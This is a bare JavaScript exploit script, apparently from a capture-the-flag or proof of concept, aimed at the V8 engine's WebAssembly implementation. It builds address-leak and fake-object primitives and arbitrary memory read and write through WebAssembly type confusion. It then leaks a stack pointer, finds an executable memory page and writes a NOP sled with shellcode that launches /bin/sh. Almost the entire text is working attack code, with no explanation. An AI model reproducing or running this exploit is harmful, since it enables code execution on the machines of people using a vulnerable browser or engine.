1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216
|
var foo = ()=> { return [1.0, 1.95538254221075331056310651818E-246, 1.95606125582421466942709801013E-246, 1.99957147195425773436923756715E-246, 1.95337673326740932133292175341E-246, 2.63486047652296056448306022844E-284]; } for (let i = 0; i < 0x10000; i++) { foo();foo();foo();foo(); }
var _b = new ArrayBuffer(16); var _f = new Float64Array(_b); var _i = new BigUint64Array(_b); function f2i(f) { _f[0] = f; return _i[0]; } function i2f(i) { _i[0] = i; return _f[0]; } function hex(i) { print("0x"+i.toString(16).padStart(16,"0")); }
function addr_of(obj) { const builder = new WasmModuleBuilder(); const sig_i = makeSig([kWasmExternRef], [kWasmI64]);
builder.addFunction("addr", sig_i) .exportFunc() .addBody([ kExprLocalGet, 0, ]); const instance = builder.instantiate(); const addr = instance.exports.addr; return addr(obj); }
function fake_obj(addr) { const builder = new WasmModuleBuilder(); const sig_i = makeSig([kWAsmI64], [kWasmExternRef]);
builder.addFunction("fake", sig_i) .exportFunc() .addBody([ kExprLocalGet, 0, ]);
const instance = builder.instantiate(); const fake = instance.exports.fake; return fake(addr); }
function buildConfuseFunction(addr) { const builder = new WasmModuleBuilder();
const filed_i64 = makeField(kWasmI64, true); const structType = builder.addStruct([filed_i64], kNoSuperType, true, false); const refStructType = wasmRefType(structType)
const sig_i = makeSig([kWasmI64], [refStructType]); cast = builder.addFunction("i64_to_struct", sig_i) .exportFunc() .addBody([ kExprLocalGet, 0, ]);
const sig_j = makeSig([kWasmI64], [kWasmI64]); builder.addFunction("_read64", sig_j) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size), kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]);
const sig_k = makeSig([kWasmI64, kWasmI64], []); builder.addFunction("_write64", sig_k) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size), kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
const instance = builder.instantiate(); return instance.exports; }
function read64(addr) { return buildConfuseFunction()._read64(addr); }
function write64(addr, value) { return buildConfuseFunction()._write64(addr, value); }
function leak_stack() { const builder = new WasmModuleBuilder(); const sig_i = makeSig([], [kWasmI64, kWasmI64, kWasmF64, kWasmF64]);
builder.addFunction("leak", sig_i) .exportFunc() .addBodyWithEnd([ kExprEnd, ]);
const module_bytes = builder.toBuffer(); const mod = new WebAssembly.Module(module_bytes); const instance = new WebAssembly.Instance(mod, {}); var ret_val = instance.exports.leak(); return ret_val; } darry = [1.1, 1.2, 1.3]; x = addr_of([foo]); y = read64(x); for(i = 0; i < 1000; i++) { var sth = leak_stack(); } sth = leak_stack(); stack = f2i(sth[2]); for(i = 0n; i < 100n; i++) { rwx = read64(stack + i * 8n + 1n); }
sh = [ 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x9090909090909090n, 0x6e69622fb848686an, 0xe7894850732f2f2fn, 0x2434810101697268n, 0x6a56f63101010101n, 0x894856e601485e08n, 0x50f583b6ad231e6n, 0xccccccccccccccccn, 0xfffffe57e9909090n, ];
rwx = read64(stack + 0x51n); hex(rwx) hex(stack); hex(x); hex(y); print(y);
for(i = 1n; i < 100n; i++) { if(i < 0x34) write64(rwx + i * 8n + 0n, sh[i]); }
|